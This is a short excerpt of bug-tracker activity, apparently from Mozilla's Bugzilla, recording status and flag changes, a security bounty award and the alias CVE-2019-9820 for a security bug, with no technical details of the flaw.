Status: RESOLVED → VERIFIED

Made a new version which I think should work better.

Flags: needinfo?(nika)
Whiteboard: [adv-main67+][adv-esr60.7+]
Attachment #9060264 - Attachment is obsolete: true
Alias: CVE-2019-9820
Flags: sec-bounty?
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.